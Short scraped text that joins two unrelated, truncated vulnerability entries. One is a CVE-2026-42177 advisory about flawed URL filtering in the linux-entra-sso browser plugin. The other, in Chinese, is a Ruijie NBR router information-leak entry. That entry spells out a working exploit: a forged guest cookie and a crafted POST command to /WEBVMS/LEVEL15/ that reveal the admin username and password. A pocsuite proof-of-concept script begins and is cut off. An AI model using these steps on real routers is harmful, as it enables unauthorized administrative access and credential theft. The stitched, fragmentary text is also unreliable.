CVE-2026-42177: Improper Access Control

linux-entra-sso is a browser plugin for Linux to SSO on Microsoft Entra ID. Prior to 1.8.1, platform/chrome/js/platform-chrome.js:69-88 registers a single declarativeNetRequest rule whose urlFilter is Platform.SSOURL + "/", i.e. "https://login.microsoftonline.com/". Chrome's urlFilter without a |...

Ruijie Router NBR 信息泄漏漏洞

使用ModifyHeaders修改Cookie头为：auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest;使用Hackbar发送POST包到：http://localhost/WEBVMS/LEVEL15/内容为：command=show%20webmaster%20users%0D%0A&strurl=exec%04&mode=%02PRIVEXEC&signname=Red-Giant. 得到admin的帐号密码。 !/usr/bin/env python coding: utf-8 import re from pocsuite.net import req fr...